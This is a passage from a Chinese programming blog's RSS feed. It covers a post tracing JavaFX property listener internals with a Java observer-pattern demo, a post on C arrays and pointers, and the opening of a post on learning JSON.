javafx.beans.property.ReadOnlyDoubleWrapper.ReadOnlyPropertyImpl

All Implemented Interfaces:
NumberExpression, Observable, ReadOnlyProperty&amp;lt;Number&amp;gt;, ObservableDoubleValue, ObservableNumberValue, ObservableValue&amp;lt;Number&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;啊，因为在Stage里头的width需要更改，所以要是个可读可写的property。但可以用一个内部私有类，把一个property肛成一个read-only property。并根据dynamic binding将&lt;code&gt;ObservableDoubleValue&lt;/code&gt;和&lt;code&gt;ReadOnlyProperty&lt;/code&gt;里头的方法给实现掉（原先是在类&lt;code&gt;DoublePropertyBase&lt;/code&gt;和&lt;code&gt;SimpleDoubleProperty&lt;/code&gt;里头实现的）。实在是妙！&lt;/p&gt;
&lt;p&gt;并且查阅文档可以发现内部私有类&lt;code&gt;ReadOnlyPropertyImpl&lt;/code&gt;与Listener有关的方法，全部在&lt;code&gt;ReadOnlyDoublePropertyBase&lt;/code&gt;类里头。&lt;/p&gt;
&lt;p&gt;所以我们要看&lt;code&gt;addListener&lt;/code&gt;的实现，就要去&lt;code&gt;DoublePropertyBase&lt;/code&gt;这个类里头看了。如下所示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ExpressionHelper&amp;lt;Number&amp;gt; helper;
@Override
public void addListener(InvalidationListener listener) {
    helper = ExpressionHelper.addListener(helper, this, listener);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;az，里面竟然还有一个&lt;code&gt;ExpressionHelper&lt;/code&gt;？？？不管是马是驴，先溜出来看看。看起来这个&lt;code&gt;ExpressionHelper&lt;/code&gt;是个抽象类，提供了许多abstract方法，然后由这个抽象类里头concrete的私有内部类实现。调用这个类里面的东西，经过阅读，其实几乎都是从static方法里头把value pass进去处理的。&lt;/p&gt;
&lt;p&gt;选择性地抽出&lt;code&gt;ExpressionHelper&lt;/code&gt;的部分代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected final ObservableValue&amp;lt;T&amp;gt; observable;

private ExpressionHelper(ObservableValue&amp;lt;T&amp;gt; observable) {
    this.observable = observable;
}

public static &amp;lt;T&amp;gt; ExpressionHelper&amp;lt;T&amp;gt; addListener(ExpressionHelper&amp;lt;T&amp;gt; helper, ObservableValue&amp;lt;T&amp;gt; observable, InvalidationListener listener) {
    if ((observable == null) || (listener == null)) {
        throw new NullPointerException();
    }
    observable.getValue(); // validate observable
    return (helper == null)? new SingleInvalidation&amp;lt;T&amp;gt;(observable, listener) : helper.addListener(listener);
}

//part of the code
private static class SingleInvalidation&amp;lt;T&amp;gt; extends ExpressionHelper&amp;lt;T&amp;gt; {

    private final InvalidationListener listener;

    private SingleInvalidation(ObservableValue&amp;lt;T&amp;gt; expression, InvalidationListener listener) {
        super(expression);
        this.listener = listener;
    }

    @Override
    protected ExpressionHelper&amp;lt;T&amp;gt; addListener(InvalidationListener listener) {
        return new Generic&amp;lt;T&amp;gt;(observable, this.listener, listener);
    }
}

//part of the code
private static class Generic&amp;lt;T&amp;gt; extends ExpressionHelper&amp;lt;T&amp;gt; {

    private InvalidationListener[] invalidationListeners;
    private ChangeListener&amp;lt;? super T&amp;gt;[] changeListeners;
    private int invalidationSize;
    private int changeSize;
    private boolean locked;
    private T currentValue;

    private Generic(ObservableValue&amp;lt;T&amp;gt; observable, InvalidationListener listener0, InvalidationListener listener1) {
        super(observable);
        this.invalidationListeners = new InvalidationListener[] {listener0, listener1};
        this.invalidationSize = 2;
    }

    @Override
    protected Generic&amp;lt;T&amp;gt; addListener(InvalidationListener listener) {
        if (invalidationListeners == null) {
            invalidationListeners = new InvalidationListener[] {listener};
            invalidationSize = 1;
        } else {
            final int oldCapacity = invalidationListeners.length;
            if (locked) {
                final int newCapacity = (invalidationSize &amp;lt; oldCapacity)? oldCapacity : (oldCapacity * 3)/2 + 1;
                invalidationListeners = Arrays.copyOf(invalidationListeners, newCapacity);
            } else if (invalidationSize == oldCapacity) {
                invalidationSize = trim(invalidationSize, invalidationListeners);
                if (invalidationSize == oldCapacity) {
                    final int newCapacity = (oldCapacity * 3)/2 + 1;
                    invalidationListeners = Arrays.copyOf(invalidationListeners, newCapacity);
                }
            }
            invalidationListeners[invalidationSize++] = listener;
        }
        return this;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;根据&lt;strong&gt;SingleInvalidation&lt;/strong&gt;的英语意思，可以猜测这个类是专门处理只有一个listener的情况的，再结合&lt;code&gt;Generic&lt;/code&gt;的constructor的代码和&lt;code&gt;SingleInvalidation&lt;/code&gt;中&lt;code&gt;addListener()&lt;/code&gt;，在new这个对象的时候顺便也把Observable通过&lt;code&gt;super(expression);&lt;/code&gt;给赋值进去了。并可以猜测，当有超过一个listener嗷嗷待哺的时候，&lt;code&gt;ExpressionHelper&lt;/code&gt;中的static方法就会return一个&lt;code&gt;Generic&lt;/code&gt;对象给&lt;code&gt;DoublePropertyBase&lt;/code&gt;中的helper对象。也就是说，所有的listener都被保存在了property对象的helper对象里头。&lt;/p&gt;
&lt;p&gt;那么，言归正传，到底property的value变化是怎么样让listener们知道的呢？&lt;/p&gt;
&lt;p&gt;那么，在这个例子里头，width property的更改，是随着窗体大小的更改而更改的。那么我猜测可以通过看&lt;code&gt;javafx.stage.Windows&lt;/code&gt;里头的方法来找到根源。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public final void setWidth(double value) {
    width.set(value);
    peerBoundsConfigurator.setWindowWidth(value);
    widthExplicit = true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出，这个width是通过&lt;code&gt;set(double value)&lt;/code&gt;方法更改值的。通过IDE强大的定位功能，我一番小操作，就来到了&lt;code&gt;DoublePropertyBase&lt;/code&gt;里头，找到了这么点代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@Override
public void set(double newValue) {
    if (isBound()) {
        throw new java.lang.RuntimeException((getBean() != null &amp;amp;&amp;amp; getName() != null ?
                getBean().getClass().getSimpleName() + &quot;.&quot; + getName() + &quot; : &quot;: &quot;&quot;) + &quot;A bound value cannot be set.&quot;);
    }
    if (value != newValue) {
        value = newValue;
        markInvalid();
    }
}

private void markInvalid() {
    if (valid) {
        valid = false;
        invalidated();
        fireValueChangedEvent();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是，我们做出监听的对象是&lt;code&gt;ReadOnlyDoubleWrapper&lt;/code&gt;啊，那么怎么就只定位到了&lt;code&gt;DoublePropertyBase&lt;/code&gt;呢？大脑告诉我，IDE不是万能的，只是我自己太菜导致万万不能而已。回想刚刚上面记录的继承关系图和&lt;code&gt;width&lt;/code&gt;的实际类型，我顺藤摸瓜，来到了&lt;code&gt;ReadOnlyDoubleWrapper&lt;/code&gt;，果不其然，找到了Override的方法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private ReadOnlyPropertyImpl readOnlyProperty;

@Override
protected void fireValueChangedEvent() {
    super.fireValueChangedEvent();
    if (readOnlyProperty != null) {
        readOnlyProperty.fireValueChangedEvent();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;又根据&lt;code&gt;ReadOnlyDoubleWrapper&lt;/code&gt;的继承关系图，我找到了。&lt;code&gt;ReadOnlyDoublePropertyBase&lt;/code&gt;里头的这个方法的确是被调用了。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;protected void fireValueChangedEvent() {
    ExpressionHelper.fireValueChangedEvent(helper);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;来到这里，就已经稳得一笔了，我们只需要定位到&lt;code&gt;ReadOnlyDoublePropertyBase&lt;/code&gt;里头的helper实际所属的类，找到&lt;code&gt;fireValueChangedEvent()&lt;/code&gt;方法即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//ExpressionHelper (Part)
public static &amp;lt;T&amp;gt; void fireValueChangedEvent(ExpressionHelper&amp;lt;T&amp;gt; helper) {
    if (helper != null) {
        helper.fireValueChangedEvent();
    }
}

//SingleInvalidator (Part)
protected final ObservableValue&amp;lt;T&amp;gt; observable;

@Override
protected void fireValueChangedEvent() {
    try {
        listener.invalidated(observable);
    } catch (Exception e) {
        Thread.currentThread().getUncaughtExceptionHandler().uncaughtException(Thread.currentThread(), e);
    }
}

//Generic (Part)
private static class Generic&amp;lt;T&amp;gt; extends ExpressionHelper&amp;lt;T&amp;gt; {
    private InvalidationListener[] invalidationListeners;
    private ChangeListener&amp;lt;? super T&amp;gt;[] changeListeners;
    private int invalidationSize;
    private int changeSize;
    private boolean locked;
    private T currentValue;

    @Override
    protected void fireValueChangedEvent() {
        final InvalidationListener[] curInvalidationList = invalidationListeners;
        final int curInvalidationSize = invalidationSize;
        final ChangeListener&amp;lt;? super T&amp;gt;[] curChangeList = changeListeners;
        final int curChangeSize = changeSize;

        try {
            locked = true;
            for (int i = 0; i &amp;lt; curInvalidationSize; i++) {
                try {
                    curInvalidationList[i].invalidated(observable);
                } catch (Exception e) {
                    Thread.currentThread().getUncaughtExceptionHandler().uncaughtException(Thread.currentThread(), e);
                }
            }
            if (curChangeSize &amp;gt; 0) {
                final T oldValue = currentValue;
                currentValue = observable.getValue();
                final boolean changed = (currentValue == null)? (oldValue != null) : !currentValue.equals(oldValue);
                if (changed) {
                    for (int i = 0; i &amp;lt; curChangeSize; i++) {
                        try {
                            curChangeList[i].changed(observable, oldValue, currentValue);
                        } catch (Exception e) {
                            Thread.currentThread().getUncaughtExceptionHandler().uncaughtException(Thread.currentThread(), e);
                        }
                    }
                }
            }
        } finally {
            locked = false;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从&lt;code&gt;SingleInvalidation&lt;/code&gt;中的&lt;code&gt;fireValueChangedEvent()&lt;/code&gt;中可以看出，直接对已经实现了的&lt;code&gt;InvalidationListener&lt;/code&gt;进行方法invoke，如果是一个以上的话，就是for循环分别调用不同&lt;code&gt;InvalidationListener&lt;/code&gt;的&lt;code&gt;invalidated()&lt;/code&gt;方法，其中还有一些其他的判断，跟这里暂时没啥关系，先不提。&lt;/p&gt;
&lt;p&gt;那么，做出了推理之后，是不是要Debug验证一下呢？于是我在IDE中，给这里下了个Breakpoint&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//ReadOnlyDoublePropertyBase
ExpressionHelper.fireValueChangedEvent(helper);//breakpoint here
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从Frame来看，我的思路被验证了，是正确的&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;亲手试错&lt;/h2&gt;
&lt;p&gt;竟然不明不白地就这样分析了一通InvalidationListener的实现，对Observer Pattern也有了更进一步的了解。于是垃圾地模拟了一下好像现实的场景：有一个商店里面有商品要抢购，而顾客们迫切地想知道商品的补货信息。但是，你是一个Customer，而不一定是一个Subscriber。&lt;/p&gt;
&lt;p&gt;思路就是，实现一个Subscription接口，然后由Customer实现，最后Store里头存储着subscribers，并会提醒subscriber们关于价格和库存的更新。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package test;

import java.util.ArrayList;
import java.util.List;

public class Observer {
    public static void main(String[] args) {
        Store store = new Store();
        Customer customer = new Customer(&quot;Situ&quot;);
        Customer customer1 = new Customer(&quot;Tony&quot;);
        customer.subscribe(store);
        customer1.subscribe(store);

        store.updatePrice(1919810);
        store.updateStock(false);
        customer1.unsubscribe(store);
        store.updateStock(true);
        customer.unsubscribe(store);
    }
}

class Store {
    private final List&amp;lt;Subscription&amp;gt; subscribers = new ArrayList&amp;lt;&amp;gt;();
    private final Product product = new Product();

    void addSubscriber(Subscription subscriber) {
        System.out.println(&quot;A subscriber subscribes the product!&quot;);
        subscribers.add(subscriber);
    }

    void removeSubscriber(Subscription subscriber) {
        System.out.println(&quot;A subscriber unsubscribes the product!&quot;);
        subscribers.remove(subscriber);
    }

    void updateStock(boolean status) {
        product.setStock(status);
        subscribers.forEach(subscription -&amp;gt; subscription.notifyStock(product));
    }

    void updatePrice(int price) {
        product.setPrice(price);
        subscribers.forEach(subscription -&amp;gt; subscription.notifyPriceChange(product));
    }
}

class Product {
    private int price;
    private boolean stock;

    Product() {
        price = 114514;
        stock = false;
    }

    public int getPrice() {
        return price;
    }

    public void setPrice(int price) {
        this.price = price;
    }

    public void setStock(boolean status) {
        stock = status;
    }

    public boolean getStock() {
        return stock;
    }
}

interface Subscription {
    void notifyStock(Product product);
    void notifyPriceChange(Product product);
}

class Customer implements Subscription {
    private final String name;

    Customer(String name) {
        this.name = name;
    }

    public String getName() {
        return name;
    }

    @Override
    public void notifyStock(Product product) {
        System.out.println(&quot;Hi, &quot; + getName() + &quot;. The product is &quot;
                + (product.getStock() ? &quot;in stock&quot; : &quot;out of stock&quot;));
    }

    @Override
    public void notifyPriceChange(Product product) {
        System.out.println(&quot;Hi, &quot; + getName()
                + &quot;. The price of product is changed. New price is $&quot; + product.getPrice());
    }

    public void subscribe(Store store) {
        store.addSubscriber(this);
    }

    public void unsubscribe(Store store) {
        store.removeSubscriber(this);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行结果为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;A subscriber subscribes the product!
A subscriber subscribes the product!
Hi, Situ. The price of product is changed. New price is $1919810
Hi, Tony. The price of product is changed. New price is $1919810
Hi, Situ. The product is out of stock
Hi, Tony. The product is out of stock
A subscriber unsubscribes the product!
Hi, Situ. The product is in stock
A subscriber unsubscribes the product!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;最后总结&lt;/h2&gt;
&lt;p&gt;&lt;s&gt;(套话)观察者模式是一种前人总结的有用的编程经验，适用于各种中大型OOP项目中。&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;总的来说，我就感受到了，这种pattern有些许优点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在运行时可以即刻建立俩对象之间的关系&lt;/li&gt;
&lt;li&gt;遵循开闭原则，subscriber和publisher的代码单独修改时候互不影响&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;缺点嘛。。。我还太弱了，找不出多少优缺点，不过我感觉这些subscriber在被通知的时候是直接按某种顺序的？也就是说不能通知指定一个subscriber？&lt;/p&gt;
&lt;p&gt;最后，阅读这么一小撮源码，也发现到了一些操作我在书上没见过的，看来这就是“纸上得来终觉浅”？&lt;/p&gt;
&lt;p&gt;如果有什么不妥的，请大佬在评论区指出。&lt;/p&gt;
</content:encoded><category>设计模式</category></item><item><title>C语言之数组与指针</title><link>https://situ2001.com/blog/notes/c-array-and-pointer/</link><guid isPermaLink="true">https://situ2001.com/blog/notes/c-array-and-pointer/</guid><description>C语言之数组与指针</description><pubDate>Sat, 05 Dec 2020 07:44:12 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;发觉指针和数组的关系不浅&lt;/p&gt;
&lt;p&gt;课间写的，有点匆忙，估计有不少错误，如有，请指出，谢谢。&lt;/p&gt;
&lt;p&gt;上面不懂的可能需要下面内容的补足（写作水平太菜了）&lt;/p&gt;
&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;为什么我突然写这篇文章呢？原来是我在&lt;a href=&quot;https://en.cppreference.com/w/c/memory/malloc&quot;&gt;cppreference 上面看 malloc()&lt;/a&gt;，了解一下简单的内存分配的时候，试了一下附带的 example&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

int main(void)
{
    int *p1 = malloc(4*sizeof(int));  // allocates enough for an array of 4 int
    int *p2 = malloc(sizeof(int[4])); // same, naming the type directly
    int *p3 = malloc(4*sizeof *p3);   // same, without repeating the type name

    if(p1) {
        for(int n=0; n&amp;lt;4; ++n) // populate the array
            p1[n] = n*n;
        for(int n=0; n&amp;lt;4; ++n) // print it back out
            printf(&quot;p1[%d] == %d\n&quot;, n, p1[n]);
    }

    free(p1);
    free(p2);
    free(p3);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码运行之后，输出的结果是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p1[0] = 0
p1[1] = 1
p1[2] = 4
p1[3] = 9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;诶诶诶，为什么指针也能拥有数组那样的下标呢？我的直觉告诉我：指针和数组，之间必定有不可描述的关系&lt;/p&gt;
&lt;p&gt;在开始之前，感谢一下 tindy2013 能抽空给我微微解释了一下~~，缩短了我自主探索的时间~~&lt;/p&gt;
&lt;h2&gt;数组的下标&lt;/h2&gt;
&lt;p&gt;如同多数地方所说的，数组就是一种数据结构。是一坨&lt;strong&gt;连续&lt;/strong&gt;的元素，接连着一起躺在了内存中的某一块区域。并且数组拥有 operator&lt;code&gt;[]&lt;/code&gt;，即是数组的下标。&lt;/p&gt;
&lt;p&gt;之前我发现数组还可以这样子&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int arr[5];
printf(&quot;%p&quot;, arr);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后的输出了一个内存地址，并且我们还可以新建一个指针并把数组变量赋值给它，并能通过指针给 arr 中的其中一个元素赋值&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int *p = arr;

arr[4] = 1;
//or
p += 4;
*p = 1;
//or
*(arr + 4) = 1;

printf(&quot;%d&quot;, arr[4]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面三个操作都是一样的，输出结果都是&lt;code&gt;1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;既然上面有&lt;code&gt;int *p = arr;&lt;/code&gt;那么我把数组 arr 当成一个常量指针，既然 arr 可以拥有一个属于他自己的下标，那么一般的指针，是否也能拥有一个下标呢？&lt;/p&gt;
&lt;p&gt;不多猜测，先试一下看看是不是这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p[4] = 1;
printf(&quot;%d&quot;, arr[4]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也是一个样，那么，&lt;strong&gt;指针变量拥有下标&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;但是经过一番的查询之后，发现数组和指针，这两者并不是&lt;strong&gt;绝对相同&lt;/strong&gt;的。常见且有区别的，就是在使用运算符&lt;code&gt;sizeof&lt;/code&gt;的时候，得到的就是数组类型&lt;code&gt;int[]&lt;/code&gt;的长度了。只不过在大多数情况下，被隐式转换成指针了。&lt;/p&gt;
&lt;p&gt;下面摘抄一点 ISO C 标准对数组的说明（不想看可以跳过）&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Constraints : 1 One of the expressions shall have type &apos;pointer to object type&apos;, the other expression shall have integer type, and the result has type &apos;type&apos;.&lt;/code&gt;
&lt;code&gt;Semantics : 2 A postfix expression followed by an expression in square brackets [] is a subscripted designation of an element of an array object. The definition of the subscript operator [] is that E1[E2] is identical to (*((E1)+(E2))). Because of the conversion rules that apply to the binary + operator, if E1 is an array object (equivalently, a pointer to the initial element of an array object) and E2 is an integer, E1[E2] designates the E2-th element of E1 (counting from zero).&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;关于内存的一点知识来讨论。&lt;/h2&gt;
&lt;p&gt;前面只是基于代码和结果来猜测和讨论的，那实际上它们都干了些啥，我们可以结合关于内存的一点知识来讨论。&lt;/p&gt;
&lt;p&gt;首先，先给自己的脑子灌输一点知识：如果没有了解过内存的话，我们可以大概的形成一下印象。（大佬请跳过）&lt;/p&gt;
&lt;p&gt;内存呢，我喜欢把它形象化成一张密密麻麻的表格，它很长很长，但是宽度只有 8 个格子（1 字节 = 8 位），并且每一行都有一个专门的标号，就是内存的地址啦（字节编址）&lt;/p&gt;
&lt;p&gt;如图所示&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;数据进入内存的话，就会占据内存的一部分，比如我们熟知，在 32 位下，&lt;code&gt;int&lt;/code&gt;型占用 4 个字节，&lt;code&gt;double&lt;/code&gt;型占用 8 个字节，比如我们有一个值为 1 的 int 变量，它会在内存中占据着 4 个字节&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;数组是在内存上连续分布一块的数据结构。如果有一个长度为 3 的 int 数组&lt;code&gt;arr[3] = {7, 4, 5}&lt;/code&gt;，那么它在内存里的占用是连续的，三个 int 类型长度的地址，还有一个数组名的变量，相当于一个常量指针（不可更改地址）&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;我们可以使用&lt;code&gt;arr[0] arr[1] arr[2]&lt;/code&gt;来进行对应元素的访问。与此同时，使用一个指针&lt;code&gt;int *p = arr&lt;/code&gt;来实现上述的访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int arr[3] = {7, 4, 5};
int *p = arr; // *p = 7
p++; // *p = 4
p++; // *p = 5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由上可见，指针 p 进行了两次自增，每一次自增，都会对 p 存放的地址+4，去到下一个元素的起始地址。因此，对 p 解引用就会出现不同的结果，分别对应&lt;code&gt;arr[0] arr[1] arr[2]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;那么有，&lt;/p&gt;
&lt;p&gt;&lt;code&gt;arr[0]&lt;/code&gt;就是直接对 arr 的起始地址进行解引用，结果就是&lt;code&gt;7&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;arr[1]&lt;/code&gt;就是对 arr 进行+1，对指针&lt;code&gt;arr + 1&lt;/code&gt;进行解引用，结果就是&lt;code&gt;4&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;arr[2]&lt;/code&gt;同理，结果是&lt;code&gt;5&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;使用指针操作数组&lt;/h2&gt;
&lt;p&gt;一维数组的指针就是像上面那样子，那如果我们对&lt;strong&gt;二维、三维数组&lt;/strong&gt;用指针进行数组操作呢？&lt;/p&gt;
&lt;p&gt;其实呢，二维数组就是一个&lt;strong&gt;连续的&lt;/strong&gt;，&lt;strong&gt;包含多个一维数组&lt;/strong&gt;的数组&lt;/p&gt;
&lt;p&gt;又因为，数组名就是个指针，所以，二维数组的数组名就是个指针，指向着多个一维数组名（pointer to pointer）&lt;/p&gt;
&lt;p&gt;再根据上面所提到的一句话：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;指针变量自增 1，即是对其原来的地址加上一个对应类型的长度&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;假设这里有一个二维数组&lt;code&gt;int array[3][4]&lt;/code&gt;呢？我们用指针进行操作的时候，可以初始化这两种指针：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int array[3][4] = {{4, 5, 1, 4}, {1, 9, 1, 9}, {8, 1, 0, 0}};
//an int type pointer
int *p1 = *array;
//an int[4] type pointer
int (*p2)[4] = array;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们对 p1 和 p2 加一，并对其解引用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p1++;
printf(&quot;%d\n&quot;, *p1);	//output: 5
print(&quot;%d\n&quot;, array[0][1]);
p2++;
printf(&quot;%d\n&quot;, *p2);	//output: 9
printf(&quot;%d&quot;, array[1][1]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出，两者输出结果不一样，其中 p1 读出来的是&lt;code&gt;a[0][1] = 5&lt;/code&gt;，而 p2 读出来的是&lt;code&gt;a[1][1] = 9&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;为什么呢？仔细思考一下的话，其实也不难理解&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;注意操作的对象&lt;/h2&gt;
&lt;p&gt;我到底，操作着哪个对象啊......&lt;/p&gt;
&lt;p&gt;我作为一个初学者，平时也会被各种多重 asterisk(*) 搞晕，不过静下心来，发现还是要抓住这些&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;优先级&lt;/li&gt;
&lt;li&gt;指针加减所表示的含义&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;首先是优先级和结合性&lt;/p&gt;
&lt;p&gt;先举一个在课堂上使人晕针的东西：&lt;strong&gt;指针数组&lt;/strong&gt;和&lt;strong&gt;数组指针&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我觉得好晕啊，先看下它们对应的英语吧：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;中文&lt;/th&gt;
&lt;th&gt;英语&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;指针数组&lt;/td&gt;
&lt;td&gt;array of pointer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数组指针&lt;/td&gt;
&lt;td&gt;pointer to array&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;英语表示不就直白很多了吗...&lt;/p&gt;
&lt;p&gt;再者就是优先级的问题了。比如上文这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//an int[4] type pointer
int (*p2)[4] = array;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于&lt;code&gt;[]&lt;/code&gt;的优先级比&lt;code&gt;*&lt;/code&gt;的要高，所以用了括号来强行更改优先级，先解析&lt;code&gt;*&lt;/code&gt;，它的意思是 p2 先是一个指针，然后解析&lt;code&gt;int&lt;/code&gt;与&lt;code&gt;[4]&lt;/code&gt;，表明 p2 是一个指向&lt;code&gt;int[4]&lt;/code&gt;类型的指针。&lt;/p&gt;
&lt;p&gt;不加的话，意思是这样的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int *p2[4];
// p2 is an array of pointers
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（感觉解释有点奇怪）这里情况是，根据优先级，先解析&lt;code&gt;[4]&lt;/code&gt;，表明 p2 会是一个长度为 4 的数组，然后再解析&lt;code&gt;*&lt;/code&gt;，表明了 p2 是存储指针用的数组，指针指向&lt;code&gt;int&lt;/code&gt;类型&lt;/p&gt;
&lt;p&gt;举个简单的，&lt;code&gt;int **p = array;&lt;/code&gt;这个呢？&lt;/p&gt;
&lt;p&gt;就是等效于&lt;code&gt;int *(*p)&lt;/code&gt;这个，&lt;code&gt;*&lt;/code&gt;是右结合的，所以中间的&lt;code&gt;*&lt;/code&gt;先与 p 结合，再与左边的&lt;code&gt;*&lt;/code&gt;进行结合&lt;/p&gt;
&lt;p&gt;再者就是指针加减实际的多少，在这里，我姑且把对指针的加减当做是对指针变量里头存放的地址的前移和后移吧，这东西在前面的部分，已经讲了个大概了。&lt;/p&gt;
&lt;p&gt;对于上文那个&lt;code&gt;array[3][4]&lt;/code&gt;数组，语句&lt;code&gt;(*(p2+1)+1)&lt;/code&gt;做了些啥呢？p2 是&lt;code&gt;int[4]&lt;/code&gt;类型的指针，对&lt;code&gt;(p2+1)&lt;/code&gt;就是 p2 右移动 1 个&lt;code&gt;int[4]&lt;/code&gt;的长度，就是&lt;code&gt;array[1][0]&lt;/code&gt;的起始地址，对该地址解引用后，获得了这个二维数组中的第二个&lt;code&gt;int[4]&lt;/code&gt;类型的一维数组，即&lt;code&gt;array[1]&lt;/code&gt;，是一个&lt;code&gt;int&lt;/code&gt;类型的指针，之后加 1 就是右移动 1 个&lt;code&gt;int&lt;/code&gt;长度了，因此最后解引用后就是 9&lt;/p&gt;
&lt;p&gt;并且写到这里我发现，&lt;code&gt;array[1][1] &lt;/code&gt;，因为&lt;code&gt;[]&lt;/code&gt;的结合性是左结合，即是&lt;code&gt;(array[1])[1]&lt;/code&gt;，其实不就是相当于&lt;code&gt;*(*(p2+1)+1)&lt;/code&gt;吗？？？(难道数组的下标相当于给指针进行解引用)&lt;/p&gt;
&lt;p&gt;大概是下图这样的&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;于是输出了&lt;code&gt;9&lt;/code&gt;;&lt;/p&gt;
&lt;h2&gt;后面&lt;/h2&gt;
&lt;p&gt;还需要补一下，还有字符数组与字符串&lt;/p&gt;
</content:encoded><category>笔记</category></item><item><title>记一次JSON入门</title><link>https://situ2001.com/blog/notes/json-learning/</link><guid isPermaLink="true">https://situ2001.com/blog/notes/json-learning/</guid><description>记一次JSON入门</description><pubDate>Sun, 29 Nov 2020 10:39:51 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;咋感觉最近学的小东西越来越多了...&lt;/p&gt;
&lt;h2&gt;写在前面&lt;/h2&gt;
&lt;p&gt;其实 JSON 这个东西我也不是第一次听到了，只不过之前看 json 文件看得云里雾里，但因为不是要自己上手使用~~（之前的想法是读 json 只需知道它大概说了啥就行）~~所以一直没去了解，一直拖延到现在，才打算学习一下 json。&lt;/p&gt;
&lt;h2&gt;这是啥啊&lt;/h2&gt;
&lt;p&gt;俗话说：“知己知彼，百战百胜。”所以我特地去找了找其介绍&lt;/p&gt;
&lt;blockquote&gt;
